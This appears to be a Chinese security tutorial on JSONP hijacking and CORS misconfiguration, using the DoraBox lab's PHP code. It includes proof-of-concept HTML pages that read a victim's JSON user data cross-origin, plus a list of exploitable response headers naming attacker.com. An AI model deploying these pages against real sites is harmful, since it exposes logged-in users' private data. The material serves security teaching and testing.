进入正文之前,我们先来解决个小问题,什么是跨域?

跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制!

跨域常见的两种方式,分别是JSONP和CORS。

今天i春秋以JSONP和CORS这两个知识点,分享一篇比较基础的跨域漏洞知识点,希望能够抛砖引玉。

JSONP跨域

JSONP(JSON with padding),是一种利用HTML中<script></script>元素标签,远程调用json文件来实现数据传递的技术,它的特点是可以跨域读取数据。

那么为什么需要用到JSONP这样一种方式传递不同域之间的数据呢?因为同源策略,同源策略是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript的浏览器都会使用这个策略。

我们以key表哥的droabox为例:

首先看下源码:

<!-- jsonp.php -->
<?php
include "../class/function.class.php";
$reqMethod = "GET";
$reqValue = "callback";
$p = new Func($reqMethod, $reqValue);
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', '**' => 'Cool Man');
if(!@$_GET['callback']){
echo $p -> con_function('json_encode',$info);
}else{
$callback = htmlspecialchars($_GET['callback']);
echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
}
?>

我们主要看的是:

if(!@$_GET['callback']){
echo $p -> con_function('json_encode',$info);
}else{
$callback = htmlspecialchars($_GET['callback']);
echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
}

这里首先以get形式接收到callback的值,如果callback为空,则忽略警告输出info的json格式数据;

如果callback值不为空,则对这个值做一个过滤后输出,然后后面还是输出json格式的info的值。

从这段代码我们可以看到,callback的值是可以动态输出的,如果我们现在拿到了一个以jsonp方式传输用户认证后数据的网站,我们就可以构造出一个恶意的jsonp调用页面,然后诱使用户访问我们的页面,从而达到一个截取用户信息的目的。

<!--jsonp.html-->
<!DOCTYPE html>
<html>
<head>
<title>jsonp</title>
</head>
<body>
<script type="text/javascript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
<script type="text/javascript">
$.getJSON("http://localhost:801/dorabox/csrf/jsonp.php?callback=?", function(jsonp){
alert(jsonp.username);
});
</script>
</body>
</html>

这里用到一个jQuery的getJSON方法,语法为:

jQuery.getJSON(url,data,success(data,status,xhr));

我们用这个函数以get方式打开链接,获取到json值,即获取到用户敏感信息。

JSON劫持可能存在的点:

  • Referer过滤不严谨;
  • 空Referer(在通过跨协议调用JS时,发送的http请求里的Referer为空);
  • CSRF调用json文件方式不安全,token可重复利用;
  • JSON输出的Content-Type及编码不符合标准(gb2312可能存在宽字节注入);
  • 未严格过滤callback函数名及JSON里数据的输出;
  • 未严格限制JSONP输出callback函数名的长度。

CORS跨域

CORS(Cross-Origin Resource Sharing 跨来源资源共享),CORS允许浏览器向跨域服务器发出XmlHttpRequest请求,CORS与JSONP的区别:是JSONP的升级版,JSONP只能通过get方式请求,CORS支持get和post请求。

CORS跨域原理:向header中注入Access-Control-Allow-Origin服务端过判断请求头中的参数是否被允许的域来决定请求源是否有权限获取数据。

注意这里的:

Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS

这个响应头表示访问允许,*表示所有的请求源的所有形式的请求,都被允许访问数据,这样也就造成了一个跨域读取敏感信息的漏洞。

下面有一些返回标识帮助我们快速确认一个网站是否存在cors漏洞:

最好的攻击案例:

Access-Control-Allow-Origin: https://attacker.com

Access-Control-Allow-Credentials: true

可能存在利用点:

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

配置失误,但是几乎无法利用:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

或者只有一个:

Access-Control-Allow-Origin: *

下面还是以dorabox为例:

这里假设我们看到的是一个已登录状态的用户信息,通过访问该页面的返回头信息,我们确定它可能存在一个cors跨域资源共享的漏洞,那么我们就可以构造以下代码获取用户隐私信息:

<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
<title>cors exp</title>
</head>
<body>
<script type="text/javascript">
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === 4) {
alert(xhr.responseText);
}
}
xhr.open("GET","http://localhost:801/DoraBox/csrf/userinfo.php");
xhr.send();
}
cors();
</script>
</body>
</html>

首先定义一个函数cors,以get形式访问目标网址,创建XMLHttpRequest对象为xhr,通过ajax的onreadystatechange判断请求状态,如果请求已完成,且相应已就绪,则弹出返回文本。

当然我们还可以利用CrossSiteContentHijacking这个poc实现cors跨域资源共享。

将这个工具部署到php环境中,输入目标url,类型设置为CORS iframe或CORS window后,点击"Retrieve Contents"。

有post数据也是可以的,前文说过cors是jsonp的升级版,可处理post数据。

以上是今天分享的全部内容,大家看懂了吗?

跨域漏洞丨JSONP和CORS跨域资源共享的更多相关文章

  1. 跨域解决之JSONP和CORS的详细介绍

    JSONP跨域和CORS跨域 什么是跨域? 跨域:指的是浏览器不能执行其它网站的脚本,它是由浏览器的同源策略造成的,是浏览器的安全限制! 同源策略 同源策略:域名.协议.端口均相同. 浏览器执行Jav ...

  2. Ajax操作如何实现跨域请求 (JSONP和CORS实现Ajax跨域的原理)

    由于浏览器存在同源策略机制,同源策略阻止ajax (XMLHttpRequest) 从一个源加载的文档或脚本获取或设置另一个源加载的文档的属性. 特别的:由于同源策略是浏览器的限制,所以请求的发送和响 ...

  3. 图片ping、JSONP和CORS跨域

    置顶文章:<纯CSS打造银色MacBook Air(完整版)> 上一篇:<由外边距合并到BFC> 作者主页:myvin 博主QQ:851399101(点击QQ和博主发起临时会话 ...

  4. jsonp与cors跨域的一些理解

    浏览器的同源策略,即是浏览器之间要隔离不同域的内容,禁止互相操作. 比如,当你打开了多个网站,如果允许多个网站之间互相操作,那么其中一个木马网站就可以通过这种互相操作进行一系列的非法行为,获取你在各个 ...

  5. jsonp与cors跨域的一些理解(转)

    CORS其实出现时间不短了,它在维基百科上的定义是:跨域资源共享(CORS )是一种网络浏览器的技术规范,它为Web服务器定义了一种方式,允许网页从不同的域访问其资源.而这种访问是被同源策略所禁止的. ...

  6. Django跨域请求之JSONP和CORS

    现在来新建一个Django项目server01,url配置为 url(r'^getData.html$',views.get_data) 其对应的视图函数为get_data: from django. ...

  7. 【PHP】Ajax跨域解决方案 、jsonp、cors

    参考文章: 1.https://blog.csdn.net/u014727260/article/details/72793459 (后台java,实际上差不多) 2. 如何解决ajax跨域传输 数据 ...

  8. 4 伪ajax:jsonp、cors 跨域请求

    一.同源策略 https://www.cnblogs.com/yuanchenqi/articles/7638956.html 同源策略(Same origin policy)是一种约定,它是浏览器最 ...

  9. django上课笔记7-jQuery Ajax 和 原生Ajax-伪造的Ajax-三种Ajax上传文件方法-JSONP和CORS跨域资源共享

    一.jQuery Ajax 和 原生Ajax from django.conf.urls import url from django.contrib import admin from app01 ...

随机推荐

  1. JS三座大山再学习 ---- 异步和单线程

    本文已发布在西瓜君的个人博客,原文传送门 前言 写这一篇的时候,西瓜君查阅了很多资料和文章,但是相当多的文章写的都很简单,甚至互相之间有矛盾,这让我很困扰:同时也让我坚定了要写出一篇好的关于JS异步. ...

  2. 洛谷 P1628 合并序列

    洛谷 P1628 合并序列 题目传送门 题目描述 有N个单词和字符串T,按字典序输出以字符串T为前缀的所有单词. 输入格式 输入文件第一行包含一个正整数N: 接下来N行,每行一个单词,长度不超过100 ...

  3. Linux服务器惨遭挖矿

      昨天为了协助客户测试业务,帮客户开通了一台云主机,因为是测试环境所以密码设置的很简单:1qaz@WSX,今天登陆的是否发现密码认证不通过了,确定机器是被黑掉了,估计多半是被国外小哥入侵挖矿了,记录 ...

  4. hdu1247-Hat’s Words-(字典树)

    http://acm.hdu.edu.cn/showproblem.php?pid=1247 题意:给出一堆单词,求哪些单词是其中某两个单词拼接起来的. 题解:用字典树存储所有的单词,标记结束点,再次 ...

  5. linux c 学习 GUN glibc 信息查看

    gun glibc 信息查看方法 方式 共享库作为可执行文件,默认位置可能为/lib/libc.so.6信息如下:   GNU C Library (GNU libc) stable release ...

  6. Redis删除特定前缀key的优雅实现

    还在用keys命令模糊匹配删除数据吗?这就是一颗随时爆炸的炸弹! Redis中没有批量删除特定前缀key的指令,但我们往往需要根据前缀来删除,那么究竟该怎么做呢?可能你一通搜索后会得到下边的答案 re ...

  7. [LeetCode] 402. Remove K Digits 去掉K位数字

    Given a non-negative integer num represented as a string, remove k digits from the number so that th ...

  8. [勘误] Head First Java (2nd edition)中文版勘误

    附上英文原版高清pdf:链接: https://pan.baidu.com/s/1X5Aikj6krROnp3oXuTVl8Q 提取码: f6xd 标注本文: 上面的图是中文译本中的错误 下面的图是英 ...

  9. Spring security 知识笔记【自定义登录页面】

    一.引入依赖 <dependency> <groupId>org.springframework.boot</groupId> <artifactId> ...

  10. 使用ipop共享串口提高工作效率

    串口登录后,点击共享连接 然后在另外一台电脑,使用Telnet打开共享的串口(两台电脑需要可以网络连接) IP地址为对端IP地址,端口号为对端设置的端口号,点击连接即可